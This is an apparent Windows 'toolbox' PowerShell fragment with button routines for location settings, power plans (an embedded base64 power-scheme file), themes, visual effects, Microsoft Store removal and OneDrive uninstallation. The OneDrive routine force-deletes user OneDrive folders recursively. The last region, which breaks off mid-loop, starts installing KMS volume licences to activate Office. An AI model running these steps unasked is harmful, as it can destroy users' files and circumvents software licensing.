Remove-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows\LocationAndSensors" -Name "DisableLocation" -ErrorAction SilentlyContinue | |
Remove-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Sensor\Overrides\{BFA794E4-F964-4FDB-90F6-51056BFE4B44}" -Name "SensorPermissionState" -ErrorAction SilentlyContinue | |
Set-ItemProperty -Path "HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\DeviceAccess\Global\{BFA794E4-F964-4FDB-90F6-51056BFE4B44}" -Name "Value" -Type String -Value "Allow" | |
Write-Host "Allow access to Location..." | |
Set-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\CapabilityAccessManager\ConsentStore\location" -Name "Value" -Type String -Value "Allow" | |
Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\lfsvc\Service\Configuration" -Name "Status" -Type DWord -Value "1" | |
Remove-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows\AppPrivacy" -Name "LetAppsAccessLocation" -ErrorAction SilentlyContinue | |
Remove-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows\AppPrivacy" -Name "LetAppsAccessLocation_UserInControlOfTheseApps" -ErrorAction SilentlyContinue | |
Remove-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows\AppPrivacy" -Name "LetAppsAccessLocation_ForceAllowTheseApps" -ErrorAction SilentlyContinue | |
Remove-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows\AppPrivacy" -Name "LetAppsAccessLocation_ForceDenyTheseApps" -ErrorAction SilentlyContinue | |
Write-Host "Done - Reverted to Stock Settings" -ForegroundColor green | |
#endregion buttonEnableLocation | |
#region buttonBalancedMode | |
$A = (powercfg.exe -l | findstr -i Balanced).split() | |
Powercfg.exe /S $A[3] | |
Write-Host "" | |
Write-Host "Set to Balanced mode" | |
#endregion buttonBalancedMode | |
#region buttonUltraPowerMode | |
$powermode1 = Powercfg.exe /L | |
if("$powermode1" -notmatch "Ultimate") | |
{ | |
$batmode = Powercfg.exe -duplicatescheme e9a42b02-d5df-448d-aa00-03f14749eb61 > nul | |
if("$batmode" -notmatch "Ultimate") | |
{ | |
$ultifilepath = "$env:TEMP" + "\Ultimate_Performance.pow" | |
$ulticode = "cmVnZgEAAAABAAAABt18K87O0wEBAAAAAwAAAAAAAAABAAAAIAAAAAAQAAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHWb0tK/OugRlGAAFV0BfAJ1m9LSvzroEZRgABVdAXwCAAAAAHab0tK/OugRlGAAFV0BfAJybXRtAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAOrL+vUAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGhiaW4AAAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAiP///25rLADWiiJppcPTAQAAAAD/////AgAAAAAAAABoBQAA/////wIAAABoAgAAmAAAAP////9IAAAAAAAAABgAAACyAAAABgAAACQAAABlOWE0MmIwMi1kNWRmLTQ0OGQtYWEwMC0wM2YxNDc0OWViNjEgAAAAEP///3NrAACYAAAAmAAAAAQAAADYAAAAAQAUjMAAAADMAAAAFAAAABwAAAACAAgAAAAAAAIApAAHAAAAABAYABkAAgABAgAAAAAABSAAAAAhAgAAABoYAAAAAIABAgAAAAAABSAAAAAhAgAAABAYABkAAgABAgAAAAAABSAAAAAgAgAAABoYAAAAAIABAgAAAAAABSAAAAAgAgAAABAUAD8ADwABAQAAAAAABRIAAAAAGhQAAAAAEAEBAAAAAAAFEgAAAAAaFAAAAACAAQEAAAAAAAMAAAAAAQEAAAAAAAUSAAAAAQEAAAAAAAUSAAAA2P///3ZrCwCyAAAAsAEAAAIAAAABABu2RGVzY3JpcHRpb24A4tlAaUj///9AACUAUwB5AHMAdABlAG0AUgBvAG8AdAAlAFwAcwB5AHMAdABlAG0AMwAyAFwAcABvAHcAcgBwAHIAbwBmAC4AZABsAGwALAAtADEAOAAsAFAAcgBvAHYAaQBkAGUAcwAgAHUAbAB0AGkAbQBhAHQAZQAgAHAAZQByAGYAbwByAG0AYQBuAGMAZQAgAG8AbgAgAGgAaQBnAGgAZQByACAAZQBuAGQAIABQAEMAcwAuAAAAAAXw////iAEAAHgCAAAAAAAA2P///3ZrDAB6AAAAoAIAAAIAAAABAAAARnJpZW5kbHlOYW1lAQEAAID///9AACUAUwB5AHMAdABlAG0AUgBvAG8AdAAlAFwAcwB5AHMAdABlAG0AMwAyAFwAcABvAHcAcgBwAHIAbwBmAC4AZABsAGwALAAtADEAOQAsAFUAbAB0AGkAbQBhAHQAZQAgAFAAZQByAGYAbwByAG0AYQBuAGMAZQAAAAAAiP///25rIADWiiJppcPTAQAAAAAgAAAAAQAAAAAAAACABAAA/////wAAAAD/////mAAAAP////9IAAAAAAAAAAAAAAAAAAAAAAAAACQAAAAwMDEyZWU0Ny05MDQxLTRiNWQtOWI3Ny01MzVmYmE4YjE0NDIAAAAAEAAAAGxmAQAgAwAAMDAxMoj///9uayAA1ooiaaXD0wEAAAAAIAMAAAAAAAAAAAAA//////////8CAAAASAQAAJgAAAD/////AAAAAAAAAAAcAAAABAAAAAAAAAAkAAAANjczOGUyYzQtZThhNS00YTQyLWIxNmEtZTA0MGU3Njk3NTZlAQEAANj///92aw4ABAAAgAAAAAAEAAAAAQAAAEFDU2V0dGluZ0luZGV4AADw////IAQAAFgEAAAAAAAA2P///3ZrDgAEAACAAAAAAAQAAAABAAAARENTZXR0aW5nSW5kZXgYAPD///9sZgEAqAMAADY3MziI////bmsgANaKImmlw9MBAAAAACAAAAAAAAAAAAAAAP//////////AgAAADAFAACYAAAA/////wAAAAAAAAAAHAAAAAQAAAABAAAAJAAAADI0NWQ4NTQxLTM5NDMtNDQyMi1iMDI1LTEzYTc4NGY2NzliNyAAAADY////dmsOAAQAAIABAAAABAAAAAEAAABBQ1NldHRpbmdJbmRleAAA8P///wgFAABABQAAAAAAANj///92aw4ABAAAgAIAAAAEAAAAAQAAAERDU2V0dGluZ0luZGV4GADo////bGYCACADAAAwMDEykAQAADI0NWSACgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=" | |
[IO.File]::WriteAllBytes($ultifilepath, [Convert]::FromBase64String($ulticode)) | |
powercfg.exe -IMPORT $ultifilepath | |
$A = (powercfg.exe -l | findstr -i Ultimate).split() | |
Powercfg.exe /S $A[3] | |
del $ultifilepath | |
}else{ | |
$A = (powercfg.exe -l | findstr -i Ultimate).split() | |
Powercfg.exe /S $A[3] | |
} | |
}else | |
{ | |
$A = (powercfg.exe -l | findstr -i Ultimate).split() | |
Powercfg.exe /S $A[3] | |
} | |
Write-Host "" | |
Write-Host "Set to UltraPower Mode" | |
#endregion buttonUltraPowerMode | |
#region buttonDarkMode | |
Write-Host "" | |
Write-Host "Switching to Dark Mode" | |
Set-ItemProperty -Path HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Themes\Personalize -Name AppsUseLightTheme -Value 0 | |
Write-Host 'Operation Completed' -ForegroundColor green | |
#endregion buttonDarkMode | |
#region buttonLightMode | |
Write-Host "" | |
Write-Host "Switching to Light Mode" | |
Remove-ItemProperty -Path HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Themes\Personalize -Name AppsUseLightTheme | |
Write-Host 'Operation Completed' -ForegroundColor green | |
#endregion buttonLightMode | |
#region buttonFastAnimation | |
Write-Host "" | |
Write-Host "Adjusting visual effects for performance..." | |
Set-ItemProperty -Path "HKCU:\Control Panel\Desktop" -Name "DragFullWindows" -Type String -Value 0 | |
Set-ItemProperty -Path "HKCU:\Control Panel\Desktop" -Name "MenuShowDelay" -Type String -Value 200 | |
Set-ItemProperty -Path "HKCU:\Control Panel\Desktop" -Name "UserPreferencesMask" -Type Binary -Value ([byte[]](144,18,3,128,16,0,0,0)) | |
Set-ItemProperty -Path "HKCU:\Control Panel\Desktop\WindowMetrics" -Name "MinAnimate" -Type String -Value 0 | |
Set-ItemProperty -Path "HKCU:\Control Panel\Keyboard" -Name "KeyboardDelay" -Type DWord -Value 0 | |
Set-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" -Name "ListviewAlphaSelect" -Type DWord -Value 0 | |
Set-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" -Name "ListviewShadow" -Type DWord -Value 0 | |
Set-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" -Name "TaskbarAnimations" -Type DWord -Value 0 | |
Set-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Explorer\VisualEffects" -Name "VisualFXSetting" -Type DWord -Value 3 | |
Set-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\DWM" -Name "EnableAeroPeek" -Type DWord -Value 0 | |
Write-Host 'Operation Completed' -ForegroundColor green | |
#endregion buttonFastAnimation | |
#region buttonRemoveMSStore | |
Write-Host "Removing Microsoft Store" | |
Get-AppxPackage -Name "*Microsoft.WindowsStore*"| Remove-AppxPackage | |
#Get-AppxProvisionedPackage -Online | Where-Object DisplayName -like "*Microsoft.WindowsStore*" | Remove-AppxProvisionedPackage -Online | |
Write-Host "Operation Completed." -ForegroundColor green | |
#endregion buttonRemoveMSStore | |
#region buttonUninstallOnedrive | |
$formWindowsToolbox.WindowState = 1 | |
Write-Host "" | |
Write-Host "Disabling OneDrive..." | |
If (!(Test-Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows\OneDrive")) { | |
New-Item -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows\OneDrive" | Out-Null | |
} | |
Set-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows\OneDrive" -Name "DisableFileSyncNGSC" -Type DWord -Value 1 | |
Write-Host "Uninstalling OneDrive... it can take upto 30 Seconds" | |
Stop-Process -Name "OneDrive" -ErrorAction SilentlyContinue | |
Start-Sleep -s 2 | |
$onedrive = "$env:SYSTEMROOT\SysWOW64\OneDriveSetup.exe" | |
If (!(Test-Path $onedrive)) { | |
$onedrive = "$env:SYSTEMROOT\System32\OneDriveSetup.exe" | |
} | |
Start-Process $onedrive "/uninstall" -NoNewWindow -Wait | |
Start-Sleep -s 2 | |
Stop-Process -Name "explorer" -ErrorAction SilentlyContinue | |
Start-Sleep -s 2 | |
Remove-Item -Path "$env:USERPROFILE\OneDrive" -Force -Recurse -ErrorAction SilentlyContinue | |
Remove-Item -Path "$env:LOCALAPPDATA\Microsoft\OneDrive" -Force -Recurse -ErrorAction SilentlyContinue | |
Remove-Item -Path "$env:PROGRAMDATA\Microsoft OneDrive" -Force -Recurse -ErrorAction SilentlyContinue | |
Remove-Item -Path "$env:SYSTEMDRIVE\OneDriveTemp" -Force -Recurse -ErrorAction SilentlyContinue | |
If (!(Test-Path "HKCR:")) { | |
New-PSDrive -Name HKCR -PSProvider Registry -Root HKEY_CLASSES_ROOT | Out-Null | |
} | |
Remove-Item -Path "HKCR:\CLSID\{018D5C66-4533-4307-9B53-224DE2ED1FE6}" -Recurse -ErrorAction SilentlyContinue | |
Remove-Item -Path "HKCR:\Wow6432Node\CLSID\{018D5C66-4533-4307-9B53-224DE2ED1FE6}" -Recurse -ErrorAction SilentlyContinue | |
Write-Host "Disabled OneDrive" -ForegroundColor green | |
$formWindowsToolbox.WindowState = 0 | |
#endregion buttonUninstallOnedrive | |
#///////////////////////////////////////////#///////////////////////////////////////////#///////////////////////////////////////////#/////////////////////////////////////////// | |
#region buttonActivateMSOffice | |
$formWindowsToolbox.WindowState = 1 | |
For (){ | |
Set-Location C:\Windows\system32 | |
if (Test-Path "$Env:ProgramFiles\Microsoft Office\Office16\ospp.vbs" -PathType leaf){Set-Location "$Env:ProgramFiles\Microsoft Office\Office16"} | |
if (Test-Path "$Env:ProgramFiles(x86)\Microsoft Office\Office16\ospp.vbs" -PathType leaf){Set-Location "$Env:ProgramFiles(x86)\Microsoft Office\Office16"} | |
Write-Host @" | |
>> Please wait... | |
"@ | |
cmd.exe /c "(for /f %x in ('dir /b ..\root\Licenses16\proplusvl_kms*.xrm-ms') do cscript //b ospp.vbs /inslic:'..\root\Licenses16\%x') 2>nul" | |
